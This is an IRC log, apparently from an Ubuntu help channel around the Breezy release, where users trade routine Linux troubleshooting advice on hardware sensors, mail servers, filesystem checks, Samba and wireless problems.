[01:10] <ilba7r> anyone know how can i access the status of my cpu cooling fan?
[01:11] <ilba7r> other than listening to them :)
[01:11] <qt2> perhaps i shold compile wine from source instead of from synaptic?
[01:11] <selinium> frans-th: a bread based meal with tomatoes and cheese
[01:11] <persia> ilba7r: sudo aptitude install xsensors
[01:11] <ilba7r> ok thanx persia
[01:12] <ompaul> ohh I'm on a console atm and I never knew alt+direction arrow - moves you from one console to another :)
[01:12] <aftertaf> apt-get pizza --mushrooms --ham --noanchovies
[01:12] <frans-th> selinium: ho ho,, :) delicious
[01:13] <ompaul> end of F1 for me L(
[01:13] <ompaul> :)
[01:13] <podge> selinium, Is the disk you are moving to the same size as the current one?
[01:13] <aftertaf> ompaul:  nice one :)
[01:13] <ilba7r> persia i have to install lm sensors thought is there another way. I can get the temperature, and every other information through acpi but can not get my fan status
[01:13] <ompaul> aftertaf: it is :)
[01:13] <selinium> podge: nope. the 'new' disc is much larger
[01:13] <ompaul> and its so fast .....
[01:14] <ompaul> can someone check it on a box with gnome running :)
[01:14] <selinium> ompaul: never new that one!
[01:14] <[DF2] > i cant get adsl working
[01:14] <frans-th> anyone, have try marvel yukov gigabit
[01:14] <podge> selinium, I am trying to work out why dd isn't a good idea.. and I think it is because the filesystem won't fill the whole disk when you dd it..
[01:14] <aftertaf> [DF2] :  what modem ??
[01:15] <ompaul> selinium: I was playing with 'links' not used in it a while and I was trying to move around and next thing I was looking at this screen :)
[01:15] <[DF2] > d-link 200 rev b usb modem
[01:15] <podge> selinium, I know of something called growfs on Solaris.. but haven't used it in a while.. and don't know if Linux has the same thing..
[01:15] <aftertaf> ompaul:  with kde its fast
[01:15] <selinium> podge: cheers for the pointers
[01:16] <ompaul> aftertaf: can you get to kde and back to console?
[01:16] <persia> ilba7r: On the system I have that has trouble with acpi sensor readings, I use lm-sensors.  I don't know of another tool that does this.  xsensors will bring in all the dependencies, and the sensors-detect program in lm-sensors will help to configure sensord, which outputs everything to syslog.  When you want to check "right now", you can use the sensors program, which will print out all the results.
[01:16] <aftertaf> [DF2] :  check /var/log/messages to see if it is synchronising...
[01:16] <aftertaf> ompaul:  :/ nope
[01:16] <bimberi> ompaul: it works in the virtual consoles but X captures it and does different things (eg. it changes positions of the channel tabs in xchat)
[01:16] <aftertaf> bimberi:  exact !
[01:16] <ompaul> bimberi: ta
[01:17] <ompaul> ahh well it is good outside X :)
[01:17] <bimberi> yw :)
[01:17] <Valentin-> hi! when I changed something in my /etc/hosts what do I have to do to get the changes done?
[01:17] <qt2> i want really really cheezy mac and cheese.
[01:17] <bimberi> Valentin-: changes apply as soon as you save the file
[01:19] <Valentin-> bimberi, hum but when I send an email trough sendmail the domain is still localhost.localdomain
[01:19] <podge> selinium, http://en.tldp.org/HOWTO/Hard-Disk-Upgrade/copy.html   ... an old FAQ which might help..
[01:19] <selinium> Seveas: sorry for bugging you, but would yuo even try to do a disc copy like i suggested?
[01:19] <selinium> podge: cheers, i will take a look!
[01:20] <derFlo> has anyone installed scim?
[01:20] <bimberi> Valentin-: sendmail i know nothing about.  Perhaps it reads the hosts file when it starts?
[01:20] <derFlo> scim-panel-gtk
[01:20] <Valentin-> bimberi: perhaps, good point, gonna restart it wait
[01:22] <Chameleon22> when i try to use smbclient to list available shares with following command: smbclient -L showof  i get access denied message which is fine but I also get "Anonymous login successful" although i am rather sure anonymous access is disabled completely... any ideas guys?
[01:23] <twibbler> could somebody help me with connecting a blue tooth device using a pass code ?.
[01:24] <derFlo> twibbler: you should try kdebluetooth
[01:24] <derFlo> look for "kdebluetooth ubuntu" in google
[01:24] <podge> Chameleon22, Howdy.. I saw your email to LUV... ??
[01:24] <persia> Chameleon22: My windows networking is a bit fuzzy, but I believe that all machines allow anonymous access to all resources, but then deny access to specific resources (which may be all of them).  You are probably logging into the directory service successfully, and then being advised that you cannot browse the share.
[01:24] <twibbler> thanks derFlo but not got kde installed ..
[01:25] <derFlo> this was the easiest way for me, even if kde is not installed
[01:25] <derFlo> it needs some libs, but also runs under gnome
[01:25] <Chameleon22> ye , i want to disable login all together unless user is authenticated
[01:25] <persia> twibbler: You could try gnome-bluetooth instead.  It works for accepting images downloaded from my phone at least...
[01:25] <benkong2> ping
[01:25] <twibbler> thank you ... looking into it
[01:25] <derFlo> there maybe are other ways to pair devices...
[01:26] <Seveas> selinium, no i would not even try, i would do a reinstall + some dpkg magic and copying config files
[01:26] <Chameleon22> podge, howdy
[01:26] <derFlo> kdebluetooth alsa has bemused installed letting you control e.g. xmms via cell phone over bluetooth.
[01:26] <selinium> Seveas: Cheers.
[01:26] <benkong2> I need the sk98lin driver for my breezy to work? Got the driver but I need the sources to compile since I have no internet connection on that machine can I install sources from breezy cd?
[01:27] <podge> Chameleon22, I searched Google for about 10 minutes trying to find an answer for you.. most of the hits I got were from around 2002 when Andrew Bartlett (Samba Developer) was discussing exactly the same thing.. I have no solution for you.. :(
[01:27] <podge> Chameleon22, I see you are also on #samba at the moment.. :)
[01:27] <Chameleon22> podge, bummer. i think persia might be right though
[01:27] <Chameleon22> podge, yup
[01:29] <nichead> hi! i'm using breezy and having the following problem with udev: it starts once from /etc/rcS.d/S04udev but doesn't create the needed device nodes (keyboard etc.) so it doesn't start x. when i then log in manually and do /etc/init.d/udev restart, the devices are there and x starts up. any idea?
[01:29] <nichead> should i start udev later?
[01:30] <benkong2> Can I install kernel sources and build environment from breezy cd?
[01:31] <Valentin-> how do I restart sendmail the best way?
[01:31] <Chameleon22> Valentin-, remove it
[01:31] <Chameleon22> lol
[01:31] <funkyHat> hahaha
[01:32] <Chameleon22> Valandil, use exim its way better and more friendlier
[01:32] <bimberi> Valentin-: sudo /etc/init.d/sendmail restart (most likely)
[01:32] <Chameleon22> but to answer your question
[01:32] <Chameleon22> Valentin-, /etc/init.d/sendmail restart
[01:33] <Valentin-> command not found
[01:33] <Valentin-> :)
[01:33] <Chameleon22> Valentin-, /etc/init.d/postfix restart
[01:33] <Valentin-> works :)
[01:34] <Valentin-> Chameleon22: where does sendmail get it's domainname and domain from? /etc/hosts/ ?
[01:35] <Chameleon22> Valentin-, i think its from its own conf files actually, not 100% sorry
[01:35] <Chameleon22> as i said, i use exim
[01:35] <Valentin-> okay I gonna check that
[01:36] <podge> Valentin-, It gets it from the /etc/hosts file..
[01:36] <podge> Valentin-, Or are you talking about the email domain?
[01:36] <podge> Valentin-, like @google.com etc?
[01:38] <podge> Chameleon22, sendmail can be complicated :)...
[01:38] <podge> Chameleon22, But the m4 files are not too bad..
[01:38] <podge> Goodbye people..
[01:41] <eddyp> is ivman necessary in order for utopia to work?
[01:42] <Chameleon22> ompaul, ye postfix is cool as well
[01:45] <DewDude> what is a multiseat system and do i need to configure one?
[01:45] <persia> Should it take longer to open openoffice than to boot, or do I need to configure something differently?
[01:45] <ompaul> Chameleon22: well I never had to do a 10k+ site with it - I did get to do a 9k+ site with ccmail several years ago strange mapping of external names through a text file to allow user@domain get mail
[01:46] <ompaul> long ago now :)
[01:46] <persia> DewDude: A multiseat system allows several people to use the same computer at the same time.  You only need to configure this if you plan to do that.
[01:46] <DewDude> hrmm
[01:46] <Chameleon22> ompaul, exim for me thank you
[01:46] <DewDude> cuz that's where setup's stopped
[01:46] <Chameleon22> havent tried it but qmail is apperantly good as well
[01:47] <DewDude> i hit configure and it just redscreens and says a step as failed
[01:47] <persia> DewDude: My apologies, I'm not very familiar with the configuration process.
[01:48] <aftertaf> !tell [DF2]  about cli
[01:49] <FlangeR> Hi all. Could someone pls walk me through setting up my usb-palm? I've followed directions of ubuntuguide, wiki and a usb howto, but nothing seems to work so far. Any help would be appreciated if someone has the knowledge.
[01:49] <aftertaf> i couldnt help you, it just plug n played on my kubuntu... :/
[01:51] <FlangeR> damn... would be a shame to turn my back on gnome just for the palm  ;)
[01:52] <DewDude> oh great
[01:52] <DewDude> this looks real promising
[01:52] <DewDude> multiseat ain't workin, now it says IDE drivers aren't available
[01:55] <ompaul> FlangeR: not having a palm you may consider this to be a totally batty idea, but why not get the kdepackage for palm and run it on your machine?
[01:57] <derFlo> ciao
[01:57] <kyle> hi ppl :) . does anybody know if ubuntu keeps some kind of backup in ~/.local ? - it's eating 3 gb right now for me!
[01:58] <Kyral> I don't have a ~/.local
[01:58] <DewDude> heh
[01:58] <FlangeR> could do that. But why would the kdepackage work, and the gnome-pilot fail? There should be a reason right?
[01:59] <DewDude> heh
[01:59] <thoreauputic> kyle: $ du -sh ~/.local
[01:59] <thoreauputic> 216K	/home/peter/.local
[01:59] <thoreauputic> something is wrong methinks :)
[01:59] <kyle> in my setup? :-)
[01:59] <thoreauputic> dunno
[02:00] <thoreauputic> kyle: try du -h ~/.local
[02:00] <thoreauputic> to see what's in there
[02:00] <DewDude> ok, so...i didn't configure multiseat..it said the IDE modules weren't available and i also let it to auto-config of partitions...think this'll work?
[02:00] <Kyral> and I must be going to class
[02:00] <Kyral> lata :D
[02:01] <funkyHat> has anyone got amaroK to list wma files in it's library?
[02:01] <glyn> anyone know what packages it takes to get Mp3 support?
[02:01] <kyle> thoreauputic: I only get a bunch of files that I already have somewhere else in my ~
[02:01] <kyle> (well with dirs and so on)
[02:01] <persia> ubotu tell glyn about mp3
[02:01] <kyle> glyn: ubuntu supports mp3 by default, afaik
[02:02] <thoreauputic> kyle: but which ones show the biggest disc use from that command?
[02:02] <thoreauputic> kyle: as you saw, mine only contains 216k in total
[02:03] <thoreauputic> if yours has 3gig, tha't *very* weird IMO
[02:03] <DewDude> heh
[02:03] <kyle> oh crap
[02:03] <DewDude> i'll fix that when i get it goin.....if the code compiles under PPC
[02:03] <kyle> I'm just idiotic today...
[02:03] <thoreauputic> ?
[02:04] <kyle> $ du -sch .local/share/Trash/
[02:04] <kyle> 2,6G    .local/share/Trash/
[02:04] <kyle> 0:-)
[02:04] <kyle> (seems to be kde's trash)
[02:05] <thoreauputic> heh - that's a lot of trash ;-)
[02:06] <DewDude> you know what's really trash
[02:06] <DewDude> macos
[02:06] <kyle> DewDude: yup, that's why I use ubuntu in my powerbook :P
[02:06] <DewDude> i'm putting it on this imac
[02:06] <DewDude> it wouldn't configure multiseat system
[02:07] <kyle> thoreauputic: that's what happens when you remove your bin's icon from desktop and totally forget about it for weeks
[02:07] <DewDude> i also lost the bootstrap partition
[02:07] <thoreauputic> kyle: hahah :-)
[02:07] <DewDude> but, mac-fdisk made it
[02:08] <hussam> how do I convert a .tar to a .tar.bz2 ?
[02:08] <DewDude> so...maybe i won't need it
[02:08] <thoreauputic> kyle: I actuall never use the trash - I jut blow stuff away :) I guess it will bite me one day!
[02:08] <thoreauputic> *actually
[02:08] <persia> hussam: bzip2 foo.tar
[02:08] <mypapit> humulus, convert? ok.. just do bzip yourfile.tar
[02:09] <mypapit> humulus, bzip2
[02:09] <hussam> ok thanks
[02:10] <ompaul> !x-org
[02:10] <ubotu> ompaul: Did you get hit by a windmill?
[02:11] <ompaul> !x
[02:11] <ubotu> [x]  the Linux GUI system. You can find it at http://www.x.org
[02:11] <ompaul> what am I trying to remember - dpkg-reconfigure X something?
[02:11] <thoreauputic> !xorg
[02:11] <ubotu> xorg is, like, sudo dpkg-reconfigure xserver-xorg
[02:11] <thoreauputic> ompaul: :)
[02:11] <ompaul> thoreauputic: thank you
[02:12] <bimberi> too quick thoreauputic :)
[02:12] <ompaul> too  late a night
[02:12] <ompaul> I know its lunchtime
[02:12] <thoreauputic> bimberi: I consulted ubotu ;-)
[02:12] <ompaul> but 3am is no time to finish work :)
[02:12] <bimberi> so did i :)
[02:12] <aftertaf> lol
[02:14] <ompaul> some how I d/loaded ubuntu-desktop but did not install it - my brain is not present today
[02:15] <bimberi> ompaul: apt-get -d ? :)
[02:15] <DewDude> reboot
[02:15] <osfameron> what's the best way to stop and restart X/gnome ?
[02:15] <ompaul> bimberi: I am not looking at the history file in case I find out :)
[02:15] <bimberi> osfameron: logout then <ctrl><alt><backspace>
[02:15] <DewDude> well, it loaded
[02:16] <kyle> thoreauputic: well, I just use whatever action is the default for konqueror's "del" key so... things endup like this ;-)
[02:16] <osfameron> bimberi, that shuts down, no?
[02:16] <thoreauputic> ompaul: heheh
[02:16] <persia> osfameron: For an emergency stop, use Ctrl-Alt-Backspace.  For a smooth restart, run `sudo /etc/init.d/gdm restart` (or kdm or xdm, etc.) from a console.
[02:16] <ompaul> well its all installing now
[02:16] <ompaul> this should be interesting skype was installed before gnome
[02:17] <bimberi> osfameron: ooh yes, listen to persia :)
[02:17] <osfameron> persia, ta
[02:17] <osfameron> yeah, not an emergency
[02:17] <osfameron> I just have some newly installed apps which don't have icons in the launcher :-)
[02:17] <thoreauputic> !smeg
[02:17] <ubotu> somebody said smeg was a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.
[02:17] <persia> osfameron: You don't even need to restart X: just log out, and log back in.
[02:17] <bimberi> osfameron: killall gnome-panel
[02:17] <ompaul> thoreauputic: did you find the clue of the day useful  - alt+direction arrow moves from one console to another
[02:18] <DewDude> how long does stage 2 usually take?
[02:18] <thoreauputic> ompaul: I already knew that one ;-)
[02:18] <ompaul> thoreauputic: I only knew the Fkeys
[02:19] <ompaul> 10 years of this $word and I find this out by accident
[02:19] <thoreauputic> ompaul: I actually discovered it by accident once when X was being unco-operative on my old box
[02:20] <ompaul> thoreauputic: found it while playing with 'links' a couple of hours ago
[02:20] <thoreauputic> aha
[02:20] <osfameron> bimberi: ta, that's the one
[02:21] <bimberi> osfameron: yw :)
[02:21] <thoreauputic> bimberi: what does that do? Reveal the desktop?  (I'm in fluxbox)
[02:22] <bimberi> thoreauputic: yes, and it toggles (like windows-D in windows)
[02:23] <thoreauputic> bimberi: ah - nice - thanks for that !
[02:24] <bimberi> thoreauputic: yvw :)
[02:29] <brownie17> hey everyone
[02:30] <aftertaf> heybrownie17
[02:30] <aftertaf> hey brownie17
[02:31] <brownie17> aftertaf: how it going?
[02:31] <brownie17> aftertaf: i got another problem , but its not urgent
[02:31] <brownie17> aftertaf: actually got to go
[02:31] <brownie17> aftertaf: night after tommorrow maybe
[02:32] <persia> Whilst there's discussion of special keys: does anyone know how to configure two different event devices reporting as "mice" to have different responses to their buttons?
[02:32] <aftertaf> night...?
[02:32] <aftertaf> hehe its afternoon here,
[02:32] <aftertaf> where IS here?
[02:41] <thoreauputic> hmm.. quiet in here, and only 228 people...
[02:41] <DewDude> heh
[02:41] <DewDude> well, i talk, no one seems to acknowledge me
[02:42] <DewDude> but, i know why it is...it's cuz i'm trying to install to a mac
[02:42] <DewDude> and no one wants to talk to me now
[02:42] <DewDude> so
[02:42] <DewDude> :-P
[02:42] <DewDude> i don't think this is gonna work so well out of box
[02:42] <DewDude> i'm seeing things fail
[02:42] <thoreauputic> I have an iBook G4 running Ubuntu...
[02:42] <DewDude> oh
[02:42] <thoreauputic> oh - phone
[02:43] <DewDude> maybe you can help me fix my G3 if this install b0rks
[02:44] <DewDude> oooh...i see X
[02:44] <DewDude> oooh
[02:44] <DewDude> i see a desktop
[02:44] <LaserLine> hello all, how can i remount my filesystem in Read Only mode so i could run FSCK ?
[02:45] <DewDude> alright..mouse works
[02:45] <DewDude> that's better than i did with gentoo
[02:46] <LaserLine> hello all, how can i remount my filesystem in Read Only mode so i could run FSCK ?
[02:46] <DewDude> this is nice
[02:47] <persia> LaserLine: Boot into recovery mode
[02:47] <nichead> hi! no one answered an hour ago, maybe this time: i'm using breezy and having the following problem with udev: it starts once from /etc/rcS.d/S04udev but doesn't create the needed device nodes (keyboard etc.) so it doesn't start x. when i then log in manually and do /etc/init.d/udev restart, the devices are there and x starts up. any idea? thanks!
[02:47] <nichead> should i start udev later?
[02:47] <LaserLine> persia, i'm there but it says the FS is already mounted...
[02:47] <persia> LaserLine: Alternately, you can try `sudo mount /filesystem -o remount,ro` but that doesn't always work, as some files may be open.
[02:48] <LaserLine> i need to write /filesystem ? or change to /dev/hda1?
[02:48] <persia> LaserLine: I use the logical name (e.g. /boot), but I believe you can also use the device name.
[02:49] <LaserLine> persia, Where can i find the logical names ?
[02:49] <LaserLine> persia, what is the most stable filesystem there is to linux (ubuntu) ?
[02:49] <persia> LaserLine: The file /etc/fstab maps logical names (filesystems, mount points) to physical devices (or maybe the reverse)
[02:50] <persia> LaserLine: The *most* stable filesystem in linux is a highly guarded secret known only to three people in the world.  Personally, I like ext2 for /boot, and ext3 for other things.
[02:52] <aftertaf> persia:  is it winfs ??
[02:52] <LaserLine> I have another question about BIOS Settings, I have a Fujitsu-Siemens S-4546 laptop (P3-600Mhz, Intel 440MX chipset for Audio) I use the 686 kernel from Ubuntu Repositories, Should I enable PNP-OS in the BIOS, ot should I put it an "NO" ?
[02:52] <aftertaf> :P
[02:52] <aru> aftertaf: I thought winfs was a myth :)
[02:52] <LaserLine> persia, I think i have all my FS as EXT3, is that good ? (I chose default settings when installing Ubuntu Hoary a few months ago)
[02:53] <aftertaf> urban legend #1 of Redmond Way
[02:53] <aru> :)
[02:53] <aftertaf> hehe
[02:54] <persia> LaserLine: I've had success using that: it's pretty stable for a normal number of files in a normal number of directories with a normal amount of file turnover (for my values of normal).  I only use ext2 for /boot because I'm too conservative to trust journaling for my kernels.
[02:54] <Paradoxx> hi all
[02:54] <Paradoxx> what media player would you all recommend?...shoud i just use totem, or is there somthing else better
[02:54] <osfameron> gnome-rhythm-box (Music Player) seems to be ok for basic use
[02:54] <LaserLine> And how do you select that ? while installation ?
[02:55] <osfameron> It was automatic for me - check in Applications->Sound->Music Player ?
[02:56] <persia> LaserLine: At the time of filesystem creation, which is usually at the time of installation, unless you have extra disks and move your installation around (one should really use lvm or something if this is required).
[02:56] <LaserLine> Ok... I find my FS really UNSTABLE... I get a lot of INODE Errors while booting up the system.
[02:57] <LaserLine> persia, I don't think I have a Bad HARDDRIVE, because, while running fsck -c, it dosn't return erros...
[02:57] <persia> LaserLine: Do you shut down smoothly every time?   That really shouldn't happen.
[02:57] <LaserLine> persia, yes.. I do that.
[02:57] <LaserLine> persia, I'm kinda sick of fixing it up everytime...
[02:58] <LaserLine> persia, should i enable PnP-OS in the Bios or disable it, coz i think I that's what caused the problem now.
[02:59] <persia> LaserLine: On your BIOS question: an old HOWTO (http://www.linux.com/howtos/Plug-and-Play-HOWTO-3.shtml) says it doesn't matter, but I'm not really sure.
[02:59] <DewUbuntu> holy crap, it worked out of box
[03:00] <LaserLine> persia, i'll read that... What do you think about my FS problems ?
[03:01] <persia> LaserLine: If you could post the relevant part of your /var/log/syslog (with the fsck errors) in the pastebin, I'll take a look and see if I can recommend anything.
[03:01] <LaserLine> now i'm fixing it with FSCK, what should be the procedure for me posting it ?
[03:02] <LaserLine> persia, I mean how do i do that (getting relevant parts) the best way.
[03:03] <persia> LaserLine: Open the file (or a copy) in your favoirtie text viewer, and look for the fsck errors you received last boot: copy this section of the file (it may be a bit long)
[03:04] <LaserLine> persia, if i fixed the FS, the log will still be there ?
[03:05] <persia> LaserLine: I'm more interested in the automatic errors that happen on boot, than the actual log of the fixes.  I'm guessing there is something funny about your configuration if the filesystem has errors every time, and you're sure there is no hardware problem.
[03:06] <stoeptegel> does someone knows what i can do with 1.0K media partitions in /media ?
[03:06] <leonel> Nice Bootsplash on breezy after today's update :)
[03:06] <Mitario> hmm, is it possible to resize ntfs partitions with the ubuntu livecd?
[03:07] <LaserLine> persia, Ok, will do that, Where would you like me to post it ? (or should i email it to you?)
[03:07] <persia> LaserLine: use http://paste.ubuntulinux.nl
[03:08] <DewUbuntu> direct rendering isn't on according to glxinfo...but i get 80fps with glxgears
[03:08] <LaserLine> persia, what's the pastebin ? never heard of it....
[03:10] <aftertaf> go to the link
[03:10] <thoreauputic> !paste
[03:10] <ubotu> paste is, like, totally, please use http://paste.ubuntulinux.nl/ or #flood to paste large amounts of text
[03:10] <catfox> what does breezy bootsplash look like? is it nice, like fedora graphical boot or suse? or a bit rough, like the hoary boot cd?
[03:12] <aftertaf> whats the command for uptime again?
[03:12] <persia> DewUbuntu: You're probably getting 80fps using software rendering.  DRI should make it even faster.
[03:12] <persia> aftertaf: uptime is uptime
[03:12] <thoreauputic> aftertaf:  "uptime"
[03:12] <thoreauputic> funnily enough :)
[03:12] <incubii> breezy bootsplash doesnt even work on my machines
[03:13] <aftertaf> 5 days :)
[03:13] <aftertaf> probly a first for me...
[03:13] <aru> I love how my nick registers then it joins #unregged
[03:13] <DewDude> http://paste.ubuntulinux.nl/1764
[03:13] <thoreauputic>  23:13:27 up 69 days,  7:31,  5 users,  load average: 0.24, 0.30, 0.27
[03:14] <persia> DewDude: Yep: that's definitely software rendering (render is Mesa GLX Indirect)
[03:14] <DewDude> ok
[03:14] <DewDude> well
[03:14] <DewDude> i'd like to fix that
[03:15] <DewDude> no time now tho
[03:15] <DewDude> work calls
[03:15] <DewDude> but i did get kubuntu working
[03:15] <DewDude> and it's running nicely
[03:16] <djp> hi, can anyone tell me how i prevent the cd palyer opening by default when i incert an audio cd under hoary? is there a key combination i need to hold down?
[03:16] <persia> LaserLine: Are you still there?  Are you posting your fsck errors?
[03:17] <Wilf> windows...is so...damn...annoying.
[03:17] <Wilf> i have killed explorer
[03:17] <Wilf> so i have nothing
[03:17] <Wilf> but it is not restarting
[03:17] <Wilf> but xchat still runs
[03:17] <Wilf> so i have a pretty picture of a plane
[03:17] <Wilf> but i can';t do anything
[03:17] <Wilf> except irc.
[03:17] <persia> djp: One of the options under System...Preferences (media?) allows you to uncheck a box to browse removable media when inserted.
[03:18] <aru> make use of the comma :)
[03:18] <Shacham> how do i send a mail with an attachment using command line?
[03:19] <LaserLine> persia, i can't boot now..........
[03:19] <incubii> Wilf what version windows
[03:19] <DewDude> well, now i must go to work
[03:19] <DewDude> which...i don't want to
[03:19] <incubii> k his gonoe
[03:19] <djp> persia, thanks. i was hoping there was a way to just hold down a key on insertion and that would stop the default cd player opening... may be my only option though
[03:20] <LaserLine> persia, I got librt.s0.1 errors (cannot opern shared object file) - fsck found that error and attempted to fix it, so i rebooted after and the error still persists...
[03:20] <persia> LaserLine: Ahhh...  I understand.  Sorry.  Do you have a livecd?  You may be able to get the data with this.  I'll have to go soon: perhaps another can assist later if it will take you a while.
[03:20] <LaserLine> I have the LIVE CD - or should i boot the 386 kernel...
[03:21] <persia> LaserLine: It sounds like your filesystem is corrupt, even if there is no hardware error.  If you can boot the 386 kernel cleanly, it should at least assist with investigation.
[03:21] <LaserLine> persia, ok - i'll do that now. (it takes 2 minutes to boot)
[03:21] <LaserLine> persia, I think i'll have to reinstall the 686 kernel ?
[03:21] <persia> djp: There may be such a magic key (or such a key may be configurable), but I don't know the answer.  I'm sure it can be done.
[03:21] <persia> LaserLine: Good luck!
[03:22] <LaserLine> persia, I did that last week...
[03:22] <LaserLine> persia, Please tell me when you leave...
[03:22] <djp> persia, sure.
[03:22] <joachimaa> hi there. does someone know which package network-admin belongs to?
[03:22] <persia> LaserLine: If the 386 kernel boots cleanly, and the 686 kernel does not, that may be the case, but perhaps we can find something in a file that will prevent the corruption in the future.
[03:23] <thoreauputic> !find network-admin
[03:23] <ubotu> Ubuntu Search of 'network-admin' (1 shown): (/usr/bin/network-admin, /usr/share/omf/gnome-system-tools/network-admin-C.omf, /usr/share/gnome/help/network-admin/C/network-admin.xml) in gnome/gnome-system-tools.
[03:23] <qt2> anyone here using google im or whatever it's called? ;)
[03:24] <LaserLine> persia, i have the same thing with the 386 loading the LiveCD...
[03:24] <keroppo> hi
[03:24] <ekimus> anyone knows where konqueror stores the default bookmarks? (systemwide not per user)
[03:25] <persia> Shacham: If you don't find a command line interface to one of the more advanced tools, you can always manually configure the MIME and SMTP headers, and do something with `sendmail -bs.  This might require a little scripting to be repeatable...
[03:25] <LaserLine> persia, this is kind of wierd, because i had a similar problem last week....
[03:25] <thoreauputic> joachimaa: looks like it's in gnome-system-tools I guess :)
[03:25] <keroppo> anyone knows when amarok 1.3 will be included in stable ubuntu?
[03:25] <joachimaa> yup, thanks :)
[03:26] <persia> LaserLine: The problem happens loading a kernel off the livecd?  It is trying to mount a filesystem on the CD, or on the harddrive?
[03:26] <thoreauputic> ekimus: try locate bookmarks | grep kde
[03:26] <flugh> keroppo, check out 'get-amarok-svn.sh' script. i use it now and have 1.3 running from my ~/.amarok
[03:26] <LaserLine> persia, the problem happens when loading the system from HardDrive.... I dicided to load the LiveCD and access the log and post it...
[03:27] <flugh> keroppo, will do until 1.3 is packaged and ready anyway
[03:27] <AzCowboy> Can anyone help me figure out why my wireless adapter keeps showing disconnected?  It's cycling... about 7 seconds connected, then it shows 3 seconds or so disconnected...
[03:27] <persia> LaserLine: Good!  I was afraid there might be a controller issue or something.
[03:27] <thoreauputic> ekimus: looks like mostly in /usr/lib/kde3/
[03:27] <keroppo> thanx, flugh, where can i get it?
[03:28] <flugh> keroppo, http://amarok.kde.org/wiki/index.php/Get-amarok-svn.sh
[03:28] <jo_e> is the progress bar broken in the latest version of gtk-gnutella, or is it just me?
[03:28] <xerxas> hi
[03:28] <LaserLine> persia, I think the laptop is fine (although it's 6 years old)
[03:28] <ekimus> thoreauputic: i'll look into it. just thought somebody happens to know the exact location
[03:28] <keroppo> flugh, thanx. i thought it was in synaptic
[03:29] <ekimus> AzCowboy: what access point do you have?
[03:29] <AzCowboy> It's a Linksys.
[03:29] <AzCowboy> Works great, and I wasn't having any problems till this morning.
[03:29] <ekimus> hmm those should be fine. i know that some netrlaaaaaag
[03:29] <ekimus> arg
[03:29] <AzCowboy> And I'm USING the wireless, so obviously it's got a connection...
[03:29] <ekimus> sorry
[03:30] <LaserLine> persia,LiveCD is up
[03:30] <AzCowboy> This is what I love about Linux.  It's consistency!
[03:30] <ekimus> AzCowboy: linksys should be fine. you could have a look in /var/log/messages for suspicious messages about your wlan card
[03:31] <LaserLine> persia, how do i accesss the LOG from the LiveCD - the HD isn't mounted.
[03:31] <persia> LaserLine: OK.  Try mounting your /var filesystem from your installation, and then put the appropriate portions of log/syslog (with the recent boot crashes & fsck failures) in http://paste.ubuntulinux.nl.  I'll take a look directly.
[03:31] <xerxas> hi
[03:31] <persia> LaserLine: Do you know which partition is used for /var?
[03:32] <LaserLine> persia, umm... /dev/hda1
[03:32] <xerxas> any developper here ?
[03:32] <keroppo> flugh, do you have ubuntu or kubuntu? the script requires many kde things, i think
[03:32] <kamikazesponge> hello
[03:32] <xerxas>  /etc/init.d/gdm stop doesn't check the uid , and says ok
[03:32] <LaserLine> persia, I know my Swap is /dev/hda5 and I run FSCK usually on /dev/hda1
[03:32] <xerxas> doesn't make sense i correct it ?
[03:32] <persia> LaserLine: OK.  `mkdir foo; sudo mount /dev/hda1 foo` should do it.
[03:32] <xerxas> how should I report this ?
[03:33] <AzCowboy> ekimus: http://pastebin.com/350956
[03:33] <kamikazesponge> i was wondering if i can give my box a static ip/dns/gateway/subnet/broadcast, and i figured out how to do the ip/subnet/broadcast but then it drops the dns/gateway.. is there a way to do both?
[03:33] <AzCowboy> I don't see anything.
[03:33] <flugh> keroppo, amarok is a kde app
[03:33] <flugh> keroppo, there's some kde needs :)
[03:33] <LaserLine> persia - what's foo ?
[03:33] <LaserLine> persia - did it :D
[03:33] <keroppo> flugh, u're right :)
[03:33] <persia> LaserLine: "foo" is a metasyntactic variable. Do you see your files now?
[03:34] <LaserLine> persia, yes///
[03:35] <LaserLine> persia, in the log.
[03:35] <ekimus> AzCowboy: what hardware do you have? acer laptop?
[03:35] <LaserLine> persia it's long....
[03:35] <ekimus> AzCowboy: what about "dmesg"
[03:35] <AzCowboy> It's a Sony laptop
[03:35] <aftertaf> whats a metasyntactic variable?   you put what u want??
[03:36] <persia> LaserLine: I only want the last bit: your last boot.  If you load it in a viewer, you should be able to jump to the bottom, and scroll up until you find the fsck errors.
[03:36] <ekimus> AzCowboy: looks like it's nearly the same hardware i have (acer travelmate 800). what type is the wlan card?
[03:36] <ekimus> AzCowboy: the atheros?
[03:36] <LaserLine> persia - i'm in the bottom...
[03:37] <AzCowboy> http://pastebin.com/350959
[03:37] <AzCowboy> Yes, It's an atheros wireless adapter in it.
[03:37] <LaserLine> persia, syslog is the most important log ?
[03:38] <persia> aftertaf: A metasyntactic variable contains some unspecified value in language the way that $i holds an unspecified value in ...do echo $i; done.  The canonical metasyntactic variables are foo, bar, baz, and quux.  More information is available from either the jargon file or some of the old files on rftm.mit.edu (or whatever the MIT RTFM server is called).
[03:38] <kamikazesponge> i was wondering if i can give my box a static ip/dns/gateway/subnet/broadcast, and i figured out how to do the ip/subnet/broadcast but then it drops the dns/gateway.. is there a way to do both?
[03:38] <persia> LaserLine: When there are errors on boot, they are usually saved to syslog.  I'm hoping the errors you are seeing on your screen are being saved there for inspection.
[03:39] <keroppo> good bye all. I just discovered this great channel and i wish i gave it a check before
[03:39] <keroppo> thanx again, slugh, see ya
[03:39] <keroppo> thanx again, flugh, see ya
[03:39] <LaserLine> persia, i can't see the errors...should i check another log ?
[03:40] <flugh> keroppo, youre welcome. cya
[03:40] <persia> LaserLine: No, if /var/log/syslog (or in your case, foo/var/log/syslog) doesn't contain any fsck errors, then likely your system never came up enough to save the error log.  Could you post the /etc/fstab on /dev/hda1?  This might help.
[03:41] <LaserLine> persia, at pastebin or here?
[03:41] <persia> LaserLine: Always i the pastebin: pasting here interrupts others conversations and is hard to read.
[03:42] <LaserLine> persia, http://pastebin.ubuntulinux.nl/1765
[03:43] <ekimus> AzCowboy: have you tried what line 27 suggests in your dmesg? (the lapic)
[03:43] <AzCowboy> Haven't really tried anything... The wireless worked flawlessly for two days, now this.
[03:44] <AzCowboy> I don't know what apic or lapic do/are
